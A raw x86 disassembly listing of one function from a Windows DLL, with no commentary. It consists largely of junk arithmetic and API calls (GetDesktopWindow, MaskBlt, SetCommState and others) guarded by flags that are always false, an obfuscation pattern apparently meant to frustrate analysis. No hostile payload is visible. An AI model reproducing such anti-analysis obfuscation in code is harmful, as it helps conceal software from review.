xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002e323
push 0x2290
push eax
push 0x1788
push eax
push 0x1ee1
push eax
call dword [sym.imp.KERNEL32.dll_CompareStringW]
xor eax, eax
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x38], eax
jl 0x1002e34e
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp + eax*4 - 0x9e0]
mov eax, dword [ebp - 0x9d8]
sub ecx, eax
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x9e0], ecx
dec dword [ebp - 0x38]
jns 0x1002e32b
xor eax, eax
mov dword [ebp - 0x20], 0x2304b25b
mov dword [ebp - 0x2c], 0x824a8c6a
mov dword [ebp - 0x40], 0xfc2da8af
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x20], 0x68aa
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 9
je 0x1002e486
mov dword [ebp - 0x44], 0xfffc
mov dword [ebp - 0x28], 0x3717be9f
mov dword [ebp - 0x3c], 0xaa8e55a4
mov dword [ebp - 0x910], 0x7f8b4dfe
mov dword [ebp - 0x90c], 0x7f8b4dfe
mov dword [ebp - 0x908], 0x7f8b4dfe
mov dword [ebp - 0x904], 0x7f8b4dfe
cmp dword [ebp - 0x2c], 0xd9d75405
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x44]
setl dl
mov eax, dword [ebp - 0x2c]
sub esi, edx
neg esi
sbb esi, esi
add esi, 2
neg esi
sbb esi, esi
xor edx, edx
add esi, 0xffff4934
cmp eax, ecx
setle dl
xor eax, eax
cmp edx, esi
jle 0x1002e408
cmp dword [ebp - 0x20], eax
je 0x1002e408
mov eax, ebx
mov dword [ebp - 0x3c], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002e422
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1002e477
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
jmp 0x1002e477
mov dword [ebp - 0x44], 0xe2
mov dword [ebp - 0x28], 3
cmp dword [ebp - 0x28], eax
jl 0x1002e467
xor ebx, ebx
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x910], ebx
jne 0x1002e464
mov dword [ebp - 0x20], ebx
jmp 0x1002e459
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x910], 0xfffffff7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1002e448
dec dword [ebp - 0x28]
jns 0x1002e437
xor ebx, ebx
inc ebx
mov ecx, dword [ebp - 0x44]
xor edx, edx
mov eax, dword [ebp - 0x40]
cmp ecx, eax
setg dl
mov dword [ebp - 0x3c], edx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 9
jne 0x1002e37a
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002e4df
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0xc34
push 0xdbe
push 0x240f
push eax
push 0x20b5
push 0x22e2
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x2542
push 0xcb5
push 0x1968
push 0x209f
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1002e8f0
mov eax, 0xa5d6c05b
lea ecx, [ebp - 0x514]
mov dword [ebp - 0x46c], eax
or esi, 0xffffffff
mov dword [ebp - 0x468], eax
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x2c], 0xad5befa1
push 3
mov dword [ebp - 0x48], esi
pop edi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x4c], 0x51dd2e9
mov dword [ebp - 0x18], 0xa8c98aac
push edi
call fcn.10013e31
mov byte [ebp - 4], 0xc
xor eax, eax
mov dword [ebp - 0x44], 0x7268
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1002e563
xor edi, edi
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x88], edi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002e54c
push 3
xor eax, eax
pop edi
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edi
jge 0x1002e589
push dword [ebp - 0x28]
lea ecx, [ebp - 0x514]
call fcn.10013ed2
mov dword [eax], 0x58fc5674
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x1002e56b
xor eax, eax
mov dword [ebp - 0x88], eax
jmp 0x1002e7b7
mov dword [ebp - 0x1c], 0xfffffffa
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002e5be
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x10c], 0xd7f19125
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002e5a6
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jg 0x1002e7b1
mov dword [ebp - 0x28], 0x5cf1c946
mov dword [ebp - 0x34], 0x17f4039e
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x4c], 0xab551fa4
mov dword [ebp - 0x40], 0xaed1d25b
mov dword [ebp - 0x14], eax
jmp 0x1002e5ff
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x218], 0x66ef3b06
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002e5ee
inc dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x46c]
mov eax, dword [ebp - 0x1c]
add eax, 8
imul eax, eax, 7
cmp eax, ecx
setl dl
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x46c], edx
jle 0x1002e63d
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1002e63f
jmp 0x1002e641
xor eax, eax
mov ebx, eax
mov dword [ebp - 0x48], ebx
xor ecx, ecx
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x214], edx
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp + eax*4 - 0x46c]
mov eax, dword [ebp - 0x44]
cmp edx, eax
mov eax, dword [ebp - 0x18]
setle cl
xor edx, edx
cmp esi, ecx
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x40]
setle bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x1c]
setle cl
xor ebx, ebx
mov dword [ebp + eax*4 - 0x46c], ecx
xor eax, eax
mov dword [ebp - 0x28], eax
inc ebx
jmp 0x1002e794
mov dword [ebp - 0x34], 9
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jg 0x1002e6de
jmp 0x1002e6a6
xor eax, eax
mov dword [ebp - 0x48], eax
jmp 0x1002e6bb
mov dword [ebp + eax*4 - 0x10c], 0
inc dword [ebp - 0x48]
xor eax, eax
cmp dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x2c]
jle 0x1002e6ab
mov ecx, dword [ebp + eax*4 - 0x10c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x10c], ecx
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], eax
jle 0x1002e6a4
push dword [ebp - 0x28]
lea ecx, [ebp - 0x514]
call fcn.10013ed2
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x514]
push 2
mov eax, dword [ebp + eax*4 - 0x218]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x218]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp + eax*4 - 0x46c]
call fcn.10013ed2
cmp dword [eax], 0
jne 0x1002e722
mov eax, dword [ebp - 0x2c]
push dword [ebp - 0x28]
lea ecx, [ebp - 0x514]
call fcn.10013ed2
mov ecx, dword [ebp - 0x28]
push 0xfffffffffffffff9
mov edx, dword [ebp + ecx*4 - 0x218]
sub edx, dword [eax]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + eax*4 - 0x218]
mov eax, dword [ebp - 0x3c]
imul eax, edx
xor edx, edx
cmp eax, ecx
setge dl
xor ecx, ecx
cmp edx, 0x28f1
setne cl
sub ecx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x28]
dec ecx
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp + eax*4 - 0x218], ecx
mov eax, dword [ebp - 0x34]
pop ecx
cmp ecx, eax
mov eax, dword [ebp - 0x88]
push 0
sbb ecx, ecx
neg ecx
mov dword [ebp + eax*4 - 0x46c], ecx
inc dword [ebp - 0x28]
pop eax
cmp dword [ebp - 0x28], ebx
jle 0x1002e693
inc dword [ebp - 0x1c]
push 0
pop eax
push 0xffffffffffffffff
pop esi
cmp dword [ebp - 0x1c], edi
jle 0x1002e5ca
or esi, esi
inc dword [ebp - 0x88]
cmp dword [ebp - 0x88], edi
jle 0x1002e594
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x514]
mov eax, dword [ebp - 0x18]
xor edi, edi
push edi
call fcn.10013ed2
xor ecx, ecx
cmp dword [eax], edi
setne cl
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x514]
mov byte [ebp - 4], 9
call fcn.10013eb6
push dword [ebp - 0x20]
lea ecx, [ebp - 0x790]
call fcn.10013ed2
push dword [ebp - 0x20]
lea ecx, [ebp - 0x790]
mov esi, eax
call fcn.10013ed2
mov ecx, dword [esi]
push 4
mov dword [eax], ecx
lea ecx, [ebp - 0x598]
call fcn.10013e31
mov byte [ebp - 4], 0xd
xor eax, eax
mov dword [ebp - 0x14], 0xed23b618
mov dword [ebp - 0x14], eax
jmp 0x1002e842
push dword [ebp - 0x14]
call fcn.10013ed2
mov dword [eax], 0xfffffffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
lea ecx, [ebp - 0x598]
jl 0x1002e831
push 2
call fcn.10013ed2
push 2
lea ecx, [ebp - 0x598]
mov dword [eax], 0xd
call fcn.10013ed2
cmp dword [eax], 0xb
jle 0x1002e89f
xor ebx, ebx
mov dword [ebp - 0x34], 0xfffa
cmp dword [ebp - 0x34], ebx
jne 0x1002e89c
push 2
lea ecx, [ebp - 0x598]
call fcn.10013ed2
push 2
lea ecx, [ebp - 0x598]
dec dword [eax]
call fcn.10013ed2
cmp dword [eax], 0xb
jg 0x1002e86f
xor ebx, ebx
inc ebx
mov dword [ebp - 0x14], 0xffffffe8
cmp dword [ebp - 0x14], 0x10
jle 0x1002e8cf
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002e8c6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsZoomed]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x10
jg 0x1002e8ae
lea ecx, [ebp - 0x598]
mov byte [ebp - 4], 9
call fcn.10013eb6
mov eax, dword [ebp - 0x20]
dec dword [ebp - 0x20]
jns 0x1002e4eb
mov edi, dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
movdqa xmm0, xmmword [0x10006720]
lea eax, [ebp - 0x1254]
push eax
lea eax, [ebp - 0x1264]
push eax
lea ecx, [ebp - 0x1494]
movdqu xmmword [ebp - 0x1264], xmm0
call fcn.10013ee1
lea ecx, [ebp - 0x183]
mov esi, eax
call fcn.10006dcf
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x28c]
push dword [esi]
call fcn.10013e90
mov byte [ebp - 4], 0xe
or eax, 0xffffffff
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
push 3
mov dword [ebp - 0x34], 0xfe1f230
pop esi
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x28], eax
jl 0x1002ea67
xor esi, esi
mov dword [ebp - 0x34], 0xc9f196e6
lea ecx, [ebp - 0x28c]
mov dword [ebp - 0x48], 0xa4d9a54e
push dword [ebp - 0x28]
call fcn.10013ed2
push esi
lea ecx, [ebp - 0x28c]
call fcn.10013ed2
cmp dword [eax], esi
je 0x1002e99d
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1002e99f
cmp dword [ebp - 0x34], eax
je 0x1002e99f
mov eax, ebx
jmp 0x1002e99f
xor eax, eax
add eax, 0xcac3
lea ecx, [ebp - 0x28c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x44], 0x39c9d940
mov eax, dword [ebp - 0x44]
push dword [ebp - 0x28]
call fcn.10013ed2
push dword [ebp - 0x28]
lea ecx, [ebp - 0x28c]
call fcn.10013ed2
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x28c]
xor edi, edi
push edi
call fcn.10013ed2
mov edx, dword [ebp - 0x28]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [eax]
mov eax, dword [ebp - 0x28]
cmp edx, ebx
setl cl
imul eax, ecx
xor ecx, ecx
cmp eax, 0x694a
setle cl
imul eax, ecx, 0x73d4
sub eax, dword [ebp - 0x40]
inc eax
je 0x1002ea21
push 3
pop eax
push eax
lea ecx, [ebp - 0x28c]
call fcn.10013ed2
mov eax, dword [ebp - 0x48]
xor ecx, ecx
cmp eax, 7
push 3
setg cl
xor esi, esi
pop eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
jl 0x1002ea55
push dword [ebp - 0x28]
lea ecx, [ebp - 0x28c]
call fcn.10013ed2
cmp dword [eax], esi
jne 0x1002ea55
dec dword [ebp - 0x48]
jns 0x1002ea3e
dec dword [ebp - 0x28]
jns 0x1002e961
mov edi, dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
push 3
pop esi
lea ecx, [ebp - 0x28c]
mov byte [ebp - 4], 9
call fcn.10013eb6
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1002ee23
jmp 0x1002ea88
xor eax, eax
mov dword [ebp - 0x38], 0xd313dd33
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xfffffff6
jne 0x1002ead6
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002eac2
push 0x80d
push 0xcf7
push 0x11b8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
xor edi, edi
push edi
call dword [sym.imp.USER32.dll_PeekMessageA]
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002ead0
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xfffffff6
je 0x1002ea98
mov edi, dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
mov byte [ebp - 0x21], al
mov dword [ebp - 0x38], 0xad386cce
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x44], 0xf2d6273d
mov dword [ebp - 0x14], eax
jmp 0x1002eb07
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6b4], 0xd76ce4a6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002eaf6
mov eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x38], eax
je 0x1002eb22
mov edx, ebx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setge dl
mov dword [ebp - 0x6b4], edx
test edx, edx
jne 0x1002eb4d
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002eb4f
mov eax, ebx
imul eax, eax, 0xa00f
xor ecx, ecx
cmp eax, 0x6eea5306
setl cl
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x44]
cmp byte [ebp - 0x21], 0
je 0x1002ee1a
mov dword [ebp - 0x14], 0xde19d29b
xor eax, eax
mov dword [ebp - 0x34], 0x791f9e6a
mov dword [ebp - 0x4c], 0xddbc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002eba6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x52c], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002eb8e
xor eax, eax
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jg 0x1002edfa
mov dword [ebp - 0x2c], 0x45db34e6
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jg 0x1002ede8
push 0xfffffffffffffff9
pop edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jg 0x1002eddc
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002ebfe
push eax
push eax
push 0x12d8
push 0x2149
push eax
call dword [sym.imp.USER32.dll_InsertMenuA]
push 2
xor eax, eax
pop ecx
mov dword [ebp - 0x38], eax
jmp 0x1002edc4
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], 0xfffffff6
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], ecx
jg 0x1002edc1
mov dword [ebp - 0x44], 0x4e2095e0
lea ecx, [ebp - 0xbf0]
push ebx
call fcn.10013e31
xor eax, eax
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x1002ec59
or ecx, 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x618], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1002ec44
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002ec7b
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xbf0]
call fcn.10013ed2
mov dword [eax], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002ec61
xor eax, eax
mov dword [ebp - 0x618], eax
jmp 0x1002ed91
mov dword [ebp - 0x44], eax
xor edi, edi
mov dword [ebp - 0x40], 0x5e40c883
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x52c], edi
jne 0x1002ed9e
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x1002ed2f
cmp dword [ebp - 0x28], eax
jne 0x1002ed2f
mov eax, dword [ebp - 0x618]
xor ecx, ecx
mov edx, dword [ebp - 0x618]
cmp eax, ebx
mov eax, dword [ebp - 0x28]
setl cl
sub edx, ecx
neg edx
mov eax, dword [ebp + eax*4 - 0x52c]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor edx, edx
imul ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1002ed17
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x52c], edi
je 0x1002ed15
mov eax, ebx
jmp 0x1002ed19
xor eax, eax
xor edi, edi
add eax, 7
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x28]
jl 0x1002ed31
xor eax, eax
xor edi, edi
mov esi, eax
jmp 0x1002ed33
xor edi, edi
mov esi, ebx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
push edi
mov edx, dword [ebp + eax*4 - 0x52c]
mov eax, dword [ebp - 0x528]
cmp esi, eax
setne cl
xor eax, eax
cmp edx, ecx
lea ecx, [ebp - 0xbf0]
setne al
mov dword [ebp - 0x44], eax
mov esi, dword [ebp - 0x44]
call fcn.10013ed2
xor edx, edx
push 0
mov dword [eax], esi
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x52c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x618]
cmp ecx, eax
pop eax
setne dl
mov dword [ebp - 0x44], edx
inc dword [ebp - 0x618]
cmp dword [ebp - 0x618], 2
jle 0x1002ec86
lea ecx, [ebp - 0xbf0]
mov byte [ebp - 4], 9
call fcn.10013eb6
inc dword [ebp - 0x48]
push 2
pop ecx
cmp dword [ebp - 0x48], ecx
jle 0x1002ec1f
push 3
xor eax, eax
pop esi
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jle 0x1002ec06
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jle 0x1002ebda
push 0xfffffffffffffff9
pop edx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jle 0x1002ebcb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jle 0x1002ebb5
mov edi, dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002ee17
push 0xfd0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
xor eax, eax
push eax
call edi
dec dword [ebp - 0x20]
jns 0x1002ea86
dec dword [ebp - 0x30]
push 2
pop esi
cmp dword [ebp - 0x30], 5
jle 0x1002e2d8
movdqa xmm0, xmmword [0x10006740]
lea eax, [ebp - 0x1114]
push eax
lea eax, [ebp - 0x1124]
push eax
lea ecx, [ebp - 0x142c]
movdqu xmmword [ebp - 0x1124], xmm0
call fcn.10013ee1
lea ecx, [ebp - 0x172]
mov esi, eax
call fcn.10006dcf
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x9f8]
push dword [esi]
call fcn.10013e90
push 2
pop edi
push edi
lea ecx, [ebp - 0x9f8]
mov byte [ebp - 4], 0x10
call fcn.10013ed2
mov esi, eax
lea ecx, [ebp - 0x9f8]
xor eax, eax
push eax
call fcn.10013ed2
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x1002eee4
or esi, 0xffffffff
xor eax, eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xfffffff1
je 0x1002eed3
xor ebx, ebx
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1002eec5
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff1
jne 0x1002eeb6
xor ebx, ebx
inc ebx
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002ef28
call dword [sym.imp.USER32.dll_ReleaseCapture]
jmp 0x1002ef28
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1002eefd
push eax
push 0x800
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002ef25
push eax
push 0x2268
push 0x161f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
or esi, 0xffffffff
lea ecx, [ebp - 0x9f8]
mov byte [ebp - 4], 9
call fcn.10013eb6
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jl 0x1002f979
jmp 0x1002ef49
xor eax, eax
mov dword [ebp - 0x28], 0xfffffffb
lea ecx, [ebp - 0x624]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], 0xc33c017f
mov dword [ebp - 0x1c], 0xee3f2f34
mov dword [ebp - 0x2c], 0xb88dcfd8
mov dword [ebp - 0x34], eax
push ebx
call fcn.10013e31
mov byte [ebp - 4], 0x11
xor eax, eax
mov dword [ebp - 0x50], 0xcebdd5e1
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x14], eax
jmp 0x1002efa3
push dword [ebp - 0x14]
lea ecx, [ebp - 0x624]
call fcn.10013ed2
mov dword [eax], 0xb5dfeb07
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002ef8c
mov eax, dword [ebp - 0x28]
xor edx, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
imul ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
sub edx, 0x943a
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x28]
je 0x1002efe4
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002efe7
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 0x161ab6ec
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, 0x380a
jle 0x1002f0e0
mov dword [ebp - 0x4c], 0x312e
mov eax, 0xde5c4896
mov dword [ebp - 0x4c], 0xd9c8
mov dword [ebp - 0xdc4], eax
mov dword [ebp - 0xdc0], eax
mov dword [ebp - 0xdbc], eax
mov dword [ebp - 0xdb8], eax
push 3
mov dword [ebp - 0x1c], 0xffffffe8
pop eax
cmp dword [ebp - 0x1c], eax
jge 0x1002f0d1
xor ebx, ebx
mov ecx, 0x4e52275d
mov dword [ebp - 0x4c], 0xd89e
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x44], 0xcc0f90b8
mov dword [ebp - 0x40], ebx
inc dword [ebp - 0x44]
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], eax
jg 0x1002f0c6
mov dword [ebp - 0x4c], 0xd3380d42
mov dword [ebp - 0x4c], esi
inc dword [ebp - 0x40]
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1002f0b9
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 3
pop eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002f099
mov ecx, 0x4e52275d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jl 0x1002f065
xor ebx, ebx
inc ebx
mov dword [ebp - 0xdbc], 0x8e23095c
jmp 0x1002f200
mov dword [ebp - 0x3c], esi
lea ecx, [ebp - 0xcc8]
xor eax, eax
mov dword [ebp - 0x44], 0xfa536ca9
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], 6
push ebx
call fcn.10013e31
xor eax, eax
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1002f128
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1c8], 0x229
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1002f110
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1002f14b
push dword [ebp - 0x20]
lea ecx, [ebp - 0xcc8]
call fcn.10013ed2
and dword [eax], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1002f130
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002f161
push dword [ebp - 0x2c]
call fcn.10013ed2
mov dword [eax], 5
inc dword [ebp - 0x2c]
lea ecx, [ebp - 0x624]
cmp dword [ebp - 0x2c], ebx
jl 0x1002f150
mov eax, dword [ebp - 0x34]
xor esi, esi
mov eax, dword [ebp - 0x1c8]
push esi
call fcn.10013ed2
or eax, 0xffffffff
lea ecx, [ebp - 0x624]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c8]
push esi
call fcn.10013ed2
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, ebx
setg cl
xor edx, edx
sub ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x44], esi
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
mov eax, dword [ebp - 0x3c]
setge dl
xor ecx, ecx
cmp eax, edx
setge cl
cmp ecx, dword [ebp - 0x14]
jne 0x1002f1d1
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002f1d3
mov esi, ebx
mov eax, dword [ebp - 0x1c8]
lea ecx, [ebp - 0xcc8]
sub esi, eax
xor eax, eax
push eax
call fcn.10013ed2
mov ecx, dword [ebp - 0x50]
